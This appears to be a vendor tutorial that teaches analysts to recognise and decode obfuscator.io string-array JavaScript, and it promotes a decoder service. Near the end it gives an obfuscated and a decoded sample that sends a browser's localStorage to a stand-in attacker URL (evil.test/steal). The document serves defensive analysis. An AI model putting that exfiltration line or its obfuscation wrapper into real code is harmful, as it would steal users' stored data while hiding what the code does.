String-array obfuscation is the dominant technique in modern JavaScript obfuscation. The pattern is simple: extract every string literal from a program into a single array, replace each original reference with a function call that retrieves the string by index, then add layers of rearrangement, arithmetic, and optional encryption on top. The result is code where recognisable words and URLs have been moved out of their original positions and into a numeric index scheme. The technique has legitimate uses. Game developers (Unity, Cocos2d), anti-cheat systems, DRM implementations, and commercial JavaScript products use string-array obfuscation to protect intellectual property and raise the cost of reverse engineering. These uses are the majority of obfuscator.io's 180,000 weekly npm downloads. Malware also uses it. Google's CASCADE research (2025) identified obfuscator.io as the most widely-deployed JavaScript obfuscator observed in malicious samples. Palo Alto Unit 42 documented its use in the DarkCloud stealer campaign (2025), wrapping credential-theft logic in string arrays with RC4 encryption. Beyond individual named campaigns, commodity stealers and loader families rotate through obfuscator.io configurations as standard operating procedure. For defenders, the question is not whether the tool is used maliciously. The question is how to read the output quickly when it is.
Decode obfuscator.io output automatically. Paste your obfuscated JavaScript at klaroskope.com/submit - KlaroSkope resolves string arrays, accessor functions, rotation IIFEs, and RC4-encrypted variants in seconds.
- What String-Array Obfuscation Looks Like - with obfuscator.io example
- The Five Tiers - array extraction, accessor functions, offset arithmetic, rotation, encryption
- Accessor Function Internals - how the retrieval function is structured
- Rotation IIFEs - how push/shift shuffling works and why it validates with a checksum
- Self-Defending Wrappers - anti-tampering patterns and what they do
- RC4 + Base64 Encoding - the deepest layer in modern samples
- Alias Chains and Function-Wrapped Arrays - variants that defeat first-generation decoders
- Tool Signatures in the Wild - obfuscator.io fingerprints and clustering
- The Decode Chain - every intermediate layer shown
- Threat Landscape - CASCADE research, DarkCloud, commodity stealer usage
- Decode It Automatically - before/after example with KlaroSkope
What String-Array Obfuscation Looks Like
A JavaScript file using string-array obfuscation looks nothing like its original form. The opening lines are typically an array literal containing dozens or hundreds of strings, followed by an accessor function that retrieves them by index. Every function call, variable assignment, and string reference in the original code has been rewritten to use the accessor. The original string content is present in the file, but scattered across an array where position and identity have been separated.
Here is a minimal obfuscator.io-style sample, constructed to illustrate the pattern obfuscator.io produces:
var _0x4a2b=['log','Hello','World','console'];
var _0x1c = function(_0xidx, _0xkey){
_0xidx = _0xidx - 0x17f;
var _0x3d = _0x4a2b[_0xidx];
return _0x3d;
};
window[_0x1c('0x182')][_0x1c('0x17f')](_0x1c('0x180') + ' ' + _0x1c('0x181'));The original program was console.log('Hello' + ' ' + 'World');. After obfuscation: the four strings moved to an array, the accessor function (_0x1c) subtracts an offset and returns the string at the resulting index, global identifiers like console are wrapped through window[...], and the original call became a chain of accessor invocations with hex-encoded index arguments. The logic is identical. The readability collapsed.
The Five Tiers
obfuscator.io builds its output through five distinct transformation tiers. Each tier is optional, and each adds a layer that must be understood independently to read the output. The tiers are roughly sequential in complexity, and seeing how many are active is a useful first step in triaging a sample.
| Tier | Transformation | Defeats |
|---|---|---|
| 1 | String array extraction | Grep for literal strings |
| 2 | Accessor function with offset | Direct array indexing |
| 3 | Rotation IIFE (push/shift) | Static array parsing |
| 4 | Self-defending wrapper | Source-code tampering |
| 5 | RC4 + Base64 encoding | String-level inspection of array contents |
Most malicious samples use tiers 1-3. Tier 4 (self-defending) is common. Tier 5 (RC4 encoding) appears in the more sophisticated samples and in many obfuscator.io production-tool users (game DRM, anti-cheat). The number of active tiers is a useful signal for clustering samples by builder configuration.
Tier 2: Accessor Function Internals
Every string reference in the obfuscated code routes through a single function: the accessor. It takes an index argument, subtracts a per-sample offset, and returns the string at the resulting array position. Reading the accessor tells you how the indirection works. It does not yet tell you what the indices map to. For that you need the array, and if layer stacking is in play, the array you can see may not be the array the accessor reads.
// Accessor with offset 0x1e7 (487 in decimal)
var _0x3c2a = function(_0x4a2b, _0x1c){
_0x4a2b = _0x4a2b - 0x1e7;
var _0x3d = _0x4872[_0x4a2b];
return _0x3d;
};
// Call: _0x3c2a('0x1e8') -> array index 0x1e8 - 0x1e7 = 0x1 -> array[1]The offset value is a random integer chosen at obfuscation time. Samples built with the same obfuscator.io configuration but different random seeds will have different offsets. Within a single sample the offset is constant, and recovering it is a matter of reading the accessor definition. Attackers sometimes rename the accessor variable or use unicode characters to resist casual inspection, but the structural pattern (subtract offset, index array, return) is invariant.
Tier 3: Rotation IIFEs
Rotation runs at load time, before any accessor call fires. An immediately-invoked function expression (IIFE) near the top of the file runs push/shift operations in a loop, shuffling the array until a checksum condition is satisfied. The consequence: the array declared in the source file is not the array the accessor will index against at runtime. Reading the source without executing the IIFE gives the wrong string for every index, silently, with no error.
// Rotation IIFE (obfuscator.io pattern)
(function(_0x4a2b, _0x1c){
var _0x3d = function(_0x4e){
while(--_0x4e){ _0x4a2b['push'](_0x4a2b['shift']()); }
};
_0x3d(++_0x1c);
}(_0x4872, 0x1f4));The integer 0x1f4 (500) is the rotation count for this sample. A different seed produces a different count. The IIFE argument and the loop body together specify the exact shuffle that must be applied before any accessor call produces the original string. Missing this step is the single most common failure mode in hand-written obfuscator.io decoders: the analyst resolves the accessor but uses the unrotated array, and every string comes out wrong by a consistent offset that feels like corruption rather than a shuffle.
Rotation IIFEs sometimes include a checksum branch that throws or silently corrupts the array if the constant is altered. This is intentional anti-tampering, and it means modifying the rotation count to skip the shuffle will break the sample rather than simplify it.
Tier 4: Self-Defending Wrappers
Self-defending is a trip-wire. The wrapper converts the accessor (or the whole script) to a string via toString(), checks for expected patterns, and throws or returns garbage if the source has been modified. Typical implementations scan for whitespace changes, missing semicolons, or inserted logging calls. The check targets analysts who edit the obfuscated file to add instrumentation or bypass conditional branches.
The self-defending wrapper does not change what the decoded payload is. It only detects certain categories of modification. For static analysis (reading the file rather than executing it), self-defending is largely irrelevant - you are not modifying anything. For dynamic analysis in an instrumented sandbox, self-defending is an obstacle that requires either patching the check or substituting the function source before the test runs.
Tier 5: RC4 + Base64 Encoding
The highest tier doesn't just hide strings. It encrypts them. Each string in the array is replaced with a Base64-encoded, RC4-encrypted blob, and the accessor is extended to decrypt on demand. The RC4 key is stored as a string literal elsewhere in the accessor, typically as a second argument threaded through the function signature. The Base64 wrapper is there to keep the encrypted bytes valid as JavaScript string literals.
// Tier 5: accessor with RC4+Base64 decryption
var _0x3c2a = function(_0x4a2b, _0x1c){
_0x4a2b = _0x4a2b - 0x1e7;
var _0x3d = _0x4872[_0x4a2b];
if(_0x3c2a['rc4Init'] === undefined){
var _0x4e = function(_0x5f, _0x60){ /* RC4 implementation */ };
_0x3c2a['rc4'] = _0x4e;
_0x3c2a['rc4Init'] = true;
}
_0x3d = _0x3c2a['rc4'](_0x3d, _0x1c);
return _0x3d;
};
// Array contains Base64(RC4(original_string, key))
var _0x4872=['pZXQ=', '8kdA0g==', /* ... */];The accessor lazily initialises the RC4 state on first call, then returns the decrypted string on every subsequent call. The RC4 key is passed as the second argument to every accessor invocation - in the call sites, what looks like an opaque hex string is actually meaningful input to the decryption.
This is the layer that defeats purely structural parsing. Even with the array, accessor, and rotation all understood, the strings themselves stay encrypted until RC4 runs with the correct key. Extracting the key from the function signature is mechanical. Recognising that it has to be extracted at all is the insight that separates complete decoders from partial ones.
Alias Chains and Function-Wrapped Arrays
Later versions of obfuscator.io and related tools add variants designed to defeat first-generation decoders. Alias chains assign the accessor function to multiple variable names, sometimes through intermediate function calls. Each call site references a different alias, and a decoder that only looks for the original accessor name finds nothing. This is the same pattern that makes esoteric JS subsets like JSFuck hard to handle: the tool you recognise is not always the tool that runs.
// Alias chain: multiple variables point to the same accessor
var _0x3c2a = function(_0x4a2b, _0x1c){ _0x4a2b = _0x4a2b - 0x1e7; return _0x4872[_0x4a2b]; };
var _0xa = _0x3c2a;
var _0xb = function(){ return _0xa.apply(this, arguments); };
var _0xc = _0xb;
// Call sites use _0x3c2a, _0xa, _0xb, or _0xc interchangeably
_0xb('0x1e8'); // resolves through chain to _0x3c2a('0x1e8')Function-wrapped arrays hide the array itself inside a function that returns it on first call and caches the result. The array is no longer visible as a top-level variable assignment; it materialises only when the wrapper function is invoked. This defeats decoders that grep for var _0x4872 = [ or similar patterns.
// Function-wrapped array (obfuscator.io v2+)
var _getArray = function(){
var _0x4872 = ['pZXQ=', '8kdA0g==', /* ... */];
_getArray = function(){ return _0x4872; };
return _getArray();
};
// First call populates and rewrites the function; subsequent calls return the cached arrayBoth variants are structural evasions, not semantic changes. The underlying technique is unchanged: there is still a string array, still an accessor, still optional rotation, still optional encryption. What changes is how much static pattern-matching a decoder has to do to find each piece.
Tool Signatures in the Wild
obfuscator.io leaves distinctive fingerprints in its output. Variable names follow the pattern _0x[a-f0-9]{4,6} by default. The rotation IIFE has a recognisable push(shift()) loop structure. The accessor function argument order (index first, key second) is consistent across versions. These fingerprints are what let security researchers attribute samples to the builder even when the obfuscated code varies across campaigns.
| Fingerprint | Signal | Notes |
|---|---|---|
| _0x[a-f0-9]{4,6} variable names | obfuscator.io default | Can be changed via config; absence does not rule out the tool |
| push(shift()) loop in IIFE | Rotation tier active | Nearly unique to obfuscator.io and close derivatives |
| Accessor with -= offset pattern | Tier 2+ active | Offset value is per-sample but structure is invariant |
| Base64 strings in array literal | Tier 5 (RC4) active | Combined with lazy rc4Init pattern in accessor |
| Function-wrapped array returning self | v2+ evasion variant | Accessor operates on the wrapped function's return value |
Multiple malware families share the same obfuscator.io configuration. DarkCloud and several commodity stealers use identical tier combinations with only the random seed changing between campaigns. Clustering samples by fingerprint signature - which tiers are active, what the rotation count range is, what the offset pattern looks like - produces useful groupings independent of the final payload. This is the same decoder-chain-as-fingerprint approach that works across malware families and obfuscation stacks generally.
What to Look For, Tier by Tier
If you are triaging a suspected obfuscator.io sample manually, the signals below help identify which tiers are active and what the build complexity is. More active tiers correlate with a more production-configured sample; not automatically more malicious, but more deliberately hardened.
var _0xNNNN = [...] with 20+ string elementsarg = arg - 0xNNN followed by array indexing_0x[NAME]['push'](_0x[NAME]['shift']()) loopFunction['prototype']['toString'] or toString()['search'] patterns near top of filerc4Init / rc4 properties on the accessor| Tier | What to look for | What the presence tells you |
|---|---|---|
| 1 (array) | Top-level var _0xNNNN = [...] with 20+ string elements | Basic string extraction is on; sample count gives target string count |
| 2 (accessor) | Function with arg = arg - 0xNNN followed by array indexing | Per-build offset constant; same value across every call in the sample |
| 3 (rotation) | IIFE with _0x[NAME]['push'](_0x[NAME]['shift']()) loop | Rotation tier active; the declared array order is not what the accessor reads |
| 4 (self-defending) | Function['prototype']['toString'] or toString()['search'] patterns near top of file | Tamper-resistance is on; modifications to the source will trigger it |
| 5 (RC4) | Base64-looking strings in the array + lazy rc4Init / rc4 properties on the accessor | Strings are double-wrapped (Base64 over RC4); structural parsing alone is insufficient |
The Decode Chain
A fully-obfuscated sample requires resolving every tier in order. Skipping a tier or applying them out of order produces output that looks plausible but is wrong in specific, predictable ways. Here is the chain for a tier-5 sample, with intermediate output at every step:
Layer 0 (Original input):
var _0x4872=['pZXQ=','8kdA0g==',...];
(function(_0x4a2b,_0x1c){...push(shift())...}(_0x4872,0x1f4));
var _0x3c2a=function(_0x4a2b,_0x1c){_0x4a2b=_0x4a2b-0x1e7;...};
_0x3c2a('0x1e8','key')['call'](...);
Layer 1 (Rotation applied):
_0x4872 = ['8kdA0g==', 'pZXQ=', ...] // array shuffled in-place
Layer 2 (Accessor resolution):
_0x4872[0x1] -> '8kdA0g=='
(offset 0x1e7 subtracted from 0x1e8 = 0x1)
Layer 3 (Base64 decode):
'8kdA0g==' -> bytes: f2 47 40 d2
Layer 4 (RC4 decrypt with key):
f2 47 40 d2 -> 'log'
Final decoded call: console.log('Hello World');Each layer depends on the previous one. Applying RC4 to the non-Base64-decoded array contents produces encrypted garbage. Reading the array at index 0x1 without subtracting the offset gets you the wrong entry. Executing the accessor without running the rotation IIFE first points at the original (unshuffled) array positions. The decode chain only produces clean output when every step runs in order.
Stop resolving tiers by hand. Paste obfuscator.io output at klaroskope.com/submit. The decoder handles all five tiers in a single pass, including function-wrapped arrays and alias chains. Array resolution, rotation, offset tracking, alias walking, and RC4 decryption all run automatically, with the decoded output landing in seconds.
Threat Landscape
obfuscator.io is the most widely-deployed JavaScript obfuscator in both legitimate and malicious use. Google's CASCADE research (2025) identified it as the single most common obfuscator observed in large-scale crawls of malicious JavaScript. This tracks with the broader obfuscation trend data: JavaScript has become the dominant delivery surface for obfuscated payloads, and obfuscator.io is the default tool producing them. The scale of legitimate use (180,000 weekly npm downloads, adoption by Unity and game-dev ecosystems) is what makes detection purely on tool-usage grounds impossible: the tool's presence is not a reliable signal on its own.
Malicious campaigns using obfuscator.io output are well-documented. Palo Alto Unit 42 published detailed analysis of the DarkCloud stealer (2025) showing obfuscator.io-style string arrays with RC4 encryption wrapping credential-theft and data-exfiltration logic. Beyond named campaigns, commodity stealers and loader families rotate through obfuscator.io configurations as standard operating procedure, changing only the random seed between builds.
MITRE ATT&CK mapping: T1027.010 (Command Obfuscation) covers the script-level obfuscation; T1059.007 (Command and Scripting Interpreter: JavaScript) covers the execution environment. For post-decode payloads that reach browser or Node.js runtimes, additional techniques apply depending on the payload type (T1555 for credential theft, T1041 for exfiltration over C2).
If you find obfuscator.io-style output in a web application you did not intentionally deploy it to, treat the file as suspect until the payload is decoded and reviewed. The tool has legitimate uses, but it is also a common delivery vehicle for injected credential stealers and traffic-redirection payloads. Decode first, then decide whether it is authorised code.
Decode It Automatically
Here is a tier-3 obfuscator.io sample (array extraction + accessor + rotation), constructed to illustrate a credential-theft exfiltration pattern. The sample uses default variable naming and a 500-iteration rotation.
// INPUT: Obfuscator.io output (tier 3)
var _0x3a7f=['JSON','stringify','localStorage','body','fetch','https://evil.test/steal','credentials'];
(function(_0x4a2b,_0x1c){var _0x3d=function(_0x4e){while(--_0x4e){_0x4a2b['push'](_0x4a2b['shift']());}};_0x3d(++_0x1c);}(_0x3a7f,0x1f4));
var _0x1c=function(_0x4a2b,_0x1c){_0x4a2b=_0x4a2b-0x1e7;var _0x3d=_0x3a7f[_0x4a2b];return _0x3d;};
window[_0x1c('0x1e7')](_0x1c('0x1e8'),{method:'POST',body:_0x1c('0x1ea')[_0x1c('0x1eb')](window[_0x1c('0x1ec')])});// OUTPUT: Decoded by KlaroSkope
window.fetch('https://evil.test/steal', {
method: 'POST',
body: JSON.stringify(window.localStorage)
});The decoder walked the rotation, resolved the accessor's offset, mapped every _0x1c('0xN') call to its string, and produced the original code. The C2 URL (https://evil.test/steal), the HTTP method, and the data being exfiltrated (localStorage contents) are all now visible as plain strings. IOC extraction pulls the URL and domain automatically; YARA and Sigma rules can be generated from the decoded output.
Paste your obfuscated JavaScript at klaroskope.com/submit and see the decoded result in seconds.
Try it now --> klaroskope.com/submit - paste any obfuscator.io output, string-array-obfuscated JavaScript, or RC4-wrapped accessor sample, and see the decoded result in seconds.
Frequently Asked Questions
What is JavaScript string-array obfuscation?
How do I decode obfuscator.io output?
What is the accessor function in obfuscator.io output?
var _0x1c = function(_0x4a2b, _0x1c){ _0x4a2b = _0x4a2b - 0x1e7; return _0x4872[_0x4a2b]; };. The offset value is chosen at obfuscation time and stays constant within a sample.What is the rotation IIFE in obfuscator.io?
(function(arr, count){ while(--count){ arr.push(arr.shift()); } }(string_array, rotation_count)). The rotation count is a constant chosen at build time. Reading the source without running the rotation gives the wrong string for every accessor call.What does a self-defending wrapper do in obfuscated JavaScript?
What is RC4 encoding in obfuscator.io?
Is obfuscator.io used by malware?
What are _0x[a-f0-9]{4,6} variable names in JavaScript?
What is an alias chain in obfuscated JavaScript?
var _0xa = _0x3c2a; var _0xb = function(){ return _0xa.apply(this, arguments); };. Each call site in the obfuscated code references a different alias. This defeats first-generation decoders that grep for the original accessor name and miss call sites routed through an alias. Modern decoders follow the chain to find the actual accessor.What MITRE ATT&CK techniques cover JavaScript string-array obfuscation?
Continue Learning
Ready to decode?
See KlaroSkope transform obfuscated scripts into actionable intelligence.
Try It Free